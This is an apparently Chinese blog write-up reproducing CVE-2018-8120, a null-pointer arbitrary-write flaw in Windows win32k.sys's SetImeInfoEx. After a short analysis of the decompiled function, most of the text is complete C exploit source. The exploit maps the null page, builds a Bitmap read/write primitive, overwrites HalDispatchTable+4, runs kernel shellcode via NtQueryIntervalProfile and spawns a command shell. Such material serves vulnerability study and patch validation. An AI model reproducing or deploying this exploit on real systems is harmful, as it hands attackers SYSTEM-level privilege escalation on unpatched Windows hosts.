CVE-2018-8120 漏洞复现

CVE-2018-8120 漏洞复现

漏洞描述

win32k.sys 中函数 SetImeInfoEx未对指针进行合法性检查,从而导致一个任意地址写。

漏洞分析

漏洞成因

c 复制代码
int __stdcall SetImeInfoEx(int ProcessWindowStation, _DWORD *userBuf)
{
  int result; // eax
  _DWORD *v3; // eax
  _DWORD *v4; // eax

  result = ProcessWindowStation;
  if ( ProcessWindowStation )
  {
    v3 = *(_DWORD **)(ProcessWindowStation + 0x14);// 没有判断v3的合法性
    while ( v3[5] != *userBuf )
    {
      v3 = (_DWORD *)v3[2];
      if ( v3 == *(_DWORD **)(ProcessWindowStation + 0x14) )
        return 0;
    }
    v4 = (_DWORD *)v3[0xB];                     // v4可以被控制
    if ( !v4 )
      return 0;
    if ( !v4[18] )
      qmemcpy(v4, userBuf, 0x15Cu);             // 任意地址写0x15C字节
    return 1;
  }
  return result;
}

这里的 v3 在取出 ProcessWindowStation + 0x14 处的指针时,没有对其合法性进行检查,可能为 0 。如果我们可以申请到 0地址 处的内存,就可以控制 v4 ,之后 memcpy即可实现任意地址写。

利用手法

当我们使用 CreateWindowStation 创建一个新的窗口时,他的 ProcessWindowStation + 0x14 会默认为 0 。此时我们在通过 NtAllocateVirtualMemory 分配内存,并控制好 0地址 处相对应的值,便可以实现任意地址写。再利用 bitMap 实现更精确的任意地址写,覆盖函数 NtQueryIntervalProfile的函数指针,实现控制程序执行流的目的。

exp

c 复制代码
#include<stdio.h>
#include<Windows.h>
#include<Psapi.h>
#include<profileapi.h>

#include "x86-header.h"

DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID a)
{
    _asm
    {
        mov esi, a;
        mov eax, gSyscall;
        mov edx, 0x7FFE0300;
        call dword ptr[edx];
        ret 4;
    }
}


int main()
{
    puts("[+] Preparing Bitmap...");
    unsigned int ibuf[0x60] = { 0x90 };
    HANDLE BManager = CreateBitmap(0x60, 1, 1, 32, ibuf);
    HANDLE BWorker = CreateBitmap(0x60, 1, 1, 32, ibuf);
    PVOID Mpvscan0 = getpvscan0(BManager);
    PVOID Wpvscan0 = getpvscan0(BWorker);
    printf("[*] Get Manager: 0x%p\n", Mpvscan0);
    printf("[*] Get Worker: 0x%p\n", Wpvscan0);

    puts("[+] Preparing vul...");
    HWINSTA hSta = CreateWindowStation(
        0,              //LPCSTR                lpwinsta
        0,              //DWORD                 dwFlags
        READ_CONTROL,   //ACCESS_MASK           dwDesiredAccess
        0               //LPSECURITY_ATTRIBUTES lpsa
    );
    SetProcessWindowStation(hSta);

    puts("[*] Get ntdll Module");
    HMODULE hModule = LoadLibraryA("ntdll.dll");
    if (hModule == 0)
    {
        puts("Failed to load ntdll.dll");
        return 0;
    }
    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hModule, "NtAllocateVirtualMemory");
    if (NtAllocateVirtualMemory == 0)
    {
        puts("Failed to resolve NtAllocateVirtualMemory");
        return 0;
    }

    PVOID ZeroAddr = 1;
    ULONG size = 0x1000;
    int NTStatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &ZeroAddr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (NT_SUCCESS(NTStatus) == 0 || ZeroAddr != 0)
    {
        puts("Failed to Allocate to 0 addr");
        printf("Alloc: 0x%p\n", ZeroAddr);
        return 0;
    }
    printf("Alloc Virtual Memory: 0x%p\n", ZeroAddr);

    *(DWORD*)(0x14) = (DWORD)(Wpvscan0);
    *(DWORD*)(0x2C) = (DWORD)(Mpvscan0);

    puts("[+] Trigger vul, modify Manager pvscan0");
    char buf[0x200];
    memset(buf, 0, sizeof(buf));
    PVOID* p = (PVOID*)&buf;
    p[0] = (PVOID)Wpvscan0;
    DWORD* pp = (DWORD*)&p[1];
    pp[0] = 0x180;
    pp[1] = 0x1d95;
    pp[2] = 6;
    pp[3] = 0x10000;
    pp[5] = 0x4800200;

    NtUserSetImeInfoEx(buf);

    PVOID pNtkrnlpaBase = GetKernelBase("ntkrnlpa.exe");
    printf("[*] Get ntkrnlpa.exe kernel base: 0x%p\n", pNtkrnlpaBase);

    HMODULE ntkrnlpaBase = LoadLibraryA("ntkrnlpa.exe");
    if (ntkrnlpaBase == 0)
    {
        puts("Failed to load ntkrnlpa.exe");
        return 0;
    }
    PVOID pUserSpaceAddress = GetProcAddress(ntkrnlpaBase, "HalDispatchTable");

    DWORD HalDispatchTable_4 = (DWORD)pNtkrnlpaBase + ((DWORD)pUserSpaceAddress - (DWORD)ntkrnlpaBase) + 4;
    if (HalDispatchTable_4 != 0)
        printf("[*] Get HalDispatchTable+0x4 0x%lx\n", HalDispatchTable_4);

    PVOID pOrg = 0;
    PVOID sc = &ShellCode;

    SetBitmapBits((HBITMAP)BManager, sizeof(PVOID), &HalDispatchTable_4);
    GetBitmapBits((HBITMAP)BWorker, sizeof(PVOID), &pOrg);
    SetBitmapBits((HBITMAP)BWorker, sizeof(PVOID), &sc);

    NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hModule, "NtQueryIntervalProfile");
    if (NtQueryIntervalProfile == 0)
    {
        puts("Failed to resolve NtQueryIntervalProfile");
        return 0;
    }
    DWORD interVal = 0;
    NtQueryIntervalProfile(0x1337, &interVal);
    SetBitmapBits((HBITMAP)BWorker, sizeof(PVOID), &pOrg);
    CreateCmd();

    return 0;
}

参考链接

https://blog.csdn.net/qq_38025365/article/details/106321131

https://blog.csdn.net/qq_38025365/article/details/106343443

https://www.freebuf.com/vuls/174183.html

https://blog.csdn.net/qq_36918532/article/details/123717955

https://zhuanlan.zhihu.com/p/510326660

https://zhuanlan.zhihu.com/p/51422777